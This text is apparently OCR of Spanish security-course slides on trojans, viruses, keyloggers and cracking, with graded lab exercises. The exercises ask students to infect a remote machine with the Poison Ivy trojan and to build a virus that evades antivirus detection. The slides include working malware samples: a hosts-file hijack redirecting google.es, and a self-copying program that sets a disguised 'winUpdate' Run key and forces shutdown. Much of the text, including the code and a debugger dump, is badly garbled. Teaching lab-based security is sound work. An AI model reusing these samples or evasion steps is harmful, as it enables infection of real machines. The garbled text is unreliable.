O Maquinas virtuales: 2 x Windows XP = * : : S | ettt e |

6 T
Today: 9/19/2010 Close | [ Show entire log

D S Oftwa re : Pe rfe Ct Key I O g g e r Show: @) Kepstrokes (0) Chats () Screenshats () Websites Click here to print the log

_
@ Wednesday, 19 September |

Winword.exe, 3:36 PM

Document1 - Microsoft Word
this is just a test - keystroke logging is working fine
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Actividad 3.- <

troyanos y virus
Objetivo: Configure un troyano para que infecte un equipo
remoto. Una vez infectado el fichero ejecutelo en una
maquina y compruebe su correcto funcionamiento.

Recursos: S0 e

@ Information j % }«c 2l G Screen Capture

Q Maquinas virtuales: 2 x Windd;{égcs XF —

c SCH _?J |V / Jesqueda S pravres €8 30 2 [ 33

Q Software: Troyan-Poison Ivy 2z == o |

Goog

LaWeb Imigenes Doticias Maps™®™0! Giupos Mas»
| ‘ Bd:guu: avanzada
[ Bus n Goo: Q] Jl Vo oy a Heuamisntac dalidioms

Busqueda (-) la Web C péginas en espaﬁol O péginas de Espafia

I P g o e P r A »
< |
[ Stetch DMcmsg [ Keyboard DA tosave
er UG Com. ID/File | Size Progress Speed ETA Compr. Ratio | Status

0.00B/s Upload: 0.00B/s
e
+4 Inicio
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Practicas/Actividades =

Actividad 4.- oo

Objetivo 1: A partir de los ejemplos de virus que hay a
continuacion, genera tu propio virus y comprueba que no lo
detectan los antivirus. Para comprobar si lo detectan los antivirus o
no puedes enviar el fichero ejecutable a la pagina
wwWw.Virustotal.com

Objetivo 2: A partir de los ejemplos de virus que hay a
continuacion, genera tu propio virus utilizando una de las
herramientas blinder de la diapositiva 105. Comprueba el proceso

infectando una maquina. _ ,
Librerias ANSI C m

ibrerias estandar C

Recursos:
O Maquinas virtuales: 2 x Windows XP
d Software: Compilador de C (Dev C)
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http://www.virustotal.com/
http://www.virustotal.com/
http://www.virustotal.com/
http://www.virustotal.com/
http://www.virustotal.com/
http://dis.um.es/~lopezquesada/documentos/IES_0506/DFSI_0506/doc/librerias/index.php.htm
http://dis.um.es/~lopezquesada/documentos/IES_1112/SAD/curso/UT5/ejemplo4/devcpp-4.9.9.2_setup.exe

Practicas/Actividades

Actividad 4.-

Ejemplo de virus sencillo

#include <stdio.h>
Int main(void)

{

FILE *fd;

char cadena[100]="\n150.214.156.62 www.google.es\n",;
fd=fopen(*'c:\\windows\\system32\\drivers\\etc\\nosts","a");
fwrite(&cadena,sizeof(cadena),1,fd);

fclose(fd);

¥
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http://dis.um.es/~lopezquesada/documentos/IES_1112/SAD/curso/UT5/ejemplo4/virus1.cpp

—LT)

Practicas/Actividades | =

\0

Actividad 4.-

Ejemplo (Programa SDForce.exe) de virus sencillo que se replica e inicia
automaticamente

#include <iostream>

using namespace std;

Int main(void)

{

system("'copy SDForce.exe %systemroot%\\system32\\SDForce.exe");
system("REG ADD
HKLM\Software\\Microsoft\\Windows\\Current\Version\\Run /v
winUpdate /t REG_SZ /d SDForce.exe /f");
system("'shutdown -s -t: 0 -f");

return O;

}
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http://dis.um.es/~lopezquesada/documentos/IES_1112/SAD/curso/UT5/ejemplo4/virus2.cpp

Crack, keylogger,
troyanos y virus

Objetivo: El objetivo del practica es saltarse la proteccion

del programa crackme?2.

ﬂﬁﬂs!ﬁ’{‘ (FPU)

EAX d9sesnno

XOR EDI, EOI
JE SHORT Samelon.RD49A564

Rec ursos: oponsen| . 61 POPAD
| ] AOLINS65 | E9 |08 E9

Q12FFBN
EDX 7C98EBYS ntdl)l . WiFastSystentallRy
BRUIHS 66 £ 08 CHAR *J° EBX ZEFDNOBR
14 - - 04947 D 08 AD CHAR "N* ESP DOI2FFCA
d Maquinas virtuales: 2 x: Windows XP
] N9 RS! 0! CHaR *0° ES! FFFEFEFF
O049NSER! ¥ SR POP EDX EOL 70010738 ntdll.7C910738
Q0L9LSAE. . BR 7DOGBRRD MOV EDX, 7D 0 =
D f W r . I | OBh9LL70) . 8B7C2% B8 01 CHP BYTE PTR SS:[ESP+B], 1 EIP BOMU56R Ganelon. cHoduleEnteyPoll
n QORDNSTL . LLE9 00088008 JMP GameMon.BOM9457R €0 ES 0023 22bit O(FFFFFEFF)
BU9N57R| > 60 PUSHRD P 1 €5 0D1B 320it O{FFFFFFFF)
Q0494578 . BE G06BLADD MOV ESI, GaneMon.@Ruk6000 A 0SS 0823 32bit WFFFFFFFF)
0BN95580| . 31FF XOR EOI, EDI 21 DS 0023 22nit W(FFFFFFFF)
BPRONSR2| L TN 66 JE SHORT CameMon.BBu9a58A S0 FS BOSB 32bit TFFOFDOO(FFF)
Q04945BN| . 61 POPRD 10 68 0880 NULL
00494585 E9 08 E9 o0
GONTNSEG| A8 08 4R CHAR *J* 00 LastEre ERROR_CILASS_ALREADY EXIS
Q0498567 D 08 AD CHAR "M' ) = A
0DNOUSEE! 50 oi 50 CHAR 'P* EFL GOBOB24E (MO M8, BE NS PE GE LE
09494589 39 {08 30 CHAR '0' STO eppty -URORY BEED D10S0184 Gesco
OONONSER . > SDBE BEBOFBFF LEA EDI, DWORD PTR BS:[ESI+FFFBBOGD) ST1 enply 0.008020000025CSANKENN - 4937
00494598 . 3169 X0R ECX, ECX A ST2 enpty 6.9
qouoNs02| .. 74 86 | JE SHORT GameMon.BBY9AS9A 1573 enpty 0.0
L - “'SM enpty 0.0

SOLOLEG Al 2ORR)
ED1-7C$10738 (ntdl1.7C910738) SIS enpty 0.8

ST6 enpty 1.0065880800085800069
SI7 enpty 1.0000800000868000000
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DUMZFFCE! FFFFFFFF|
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GRUYSOAE 62 B0 00 0D 80 0O B0
GO5950%81 63 00 09 0B RB WO 00
QO4YSUSO By 0D G0 0B DO OB BY

Camnand o Loxdieraryh
{Progran enity pork. I
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Formato de entrega:

Documento en formato xhtml 1.0, elaborado
individualmente, con enlaces a elementos multimedia,
que resuelvan la cuestion 1:

Q 1 act. de entre la 2-5: Calificacion maxima 6.
Q 2 acti. de entre la 2-5: Calificacion maxima 7.
1 Q 3 acti. de entre la 2-5: Calificacion maxima 8.
Q 4 acti. de entre la 2-5: Calificacion maxima 9.

% 1 punto asignado en base a elementos de calidad
en el desarrollo del proyecto.
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